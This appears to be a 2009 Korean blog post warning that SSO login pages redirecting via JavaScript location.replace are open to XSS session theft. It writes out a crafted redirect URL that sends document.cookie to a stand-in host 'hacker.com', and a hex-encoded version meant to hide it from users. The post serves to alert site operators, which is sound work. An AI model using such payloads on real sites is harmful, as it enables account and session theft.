해킹기법 정리2009/10/09 11:43


 

최근,  게임회사들이 XSS로 유저들의 계정을 도용당해서 곤혹을 앓고 있습니다. XSS로 계정도용을 할 수 있는 기법은 이래저래 많아서 일일히 대응하기가 힘든데요. 어떻게 도용당했는지 알지도 못한체 수습하기만 바쁜 곳도 많은 줄 압니다.

오늘은 그 중에서도 이번에는 SSO를 이용해서 하는 방법에 대해서 공유해보고자 합니다. 보통 포털들이 많은 싸이트와 페이지를 보유하다 보니 SSO(Single Sign On)의 요구는 필수인데요. 문제는 이 SSO 의 리다이렉션 방식에 있습니다.

보통 아래와 같은 흐름을 갖게 되는데요.

http://portal1.site1.com/bbs/board
                 ↓
http://id.site1.com/login.php?redirect=http://portal1.site1.com/bbs/board
                 ↓
http://portal1.site1.com/bbs/board

 

SSO 사용자 인증이 필요한 페이지에 들어갈때 이런식으로 url 이 생성된다고 할때, 위 싸이트가 자바스크립트를 사용해서 url를 리플레이스할 경우에 문제가 생깁니다. 이를 테면, 자바스크립트 location.replace(redirect); 의 경우 충분히 유저쪽에서 위조가 가능하기 때문이죠. 따라서 iframe이나 기타 다른 방식을 쓰지 않고도 사용자가 자주 접속하는 게시판에 아래 URL하나만 걸쳐놔도 사용자가 클릭하는 경우 세션을 도용하는 게 가능합니다. 그래서 이후의 흐릅은 이렇게 되겠죠.

http://portal1.site1.com/bbs/board
                  ↓
http://id.site1.com/login.php?redirect=http://hacker.com/session_get.php?cookie=+document.cookie);big('aaa
                  ↓
http://portal1.site1.com/bbs/board

위 redirect 이후의 URL은 hex로 충분히 코딩가능하기때문에 사용자가 인식못하게 할 수 있습니다.

http://id.site1.com/login.php?redirect=%68%74%74%70%3a%2f%2f%68%61%63%6b%65%72%2e%63%6f%6d%2f%73%65%73%73%69%6f%6e%5f%67%65%74%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%62%69%67%28%27%61%61%61%

헛점은 사용자가 익숙한 로긴창이 나오면 바로 id/pass넣고 로긴을 시도한다는 것이지요. -_-;;;

약간 사회공학적 수법이 되겠내요. SSO를 사용하면서 자바스크립트 리다이렉션을 사용한다면, 어서 수정해 주세요 ㅡ

 

Posted by 진실찾기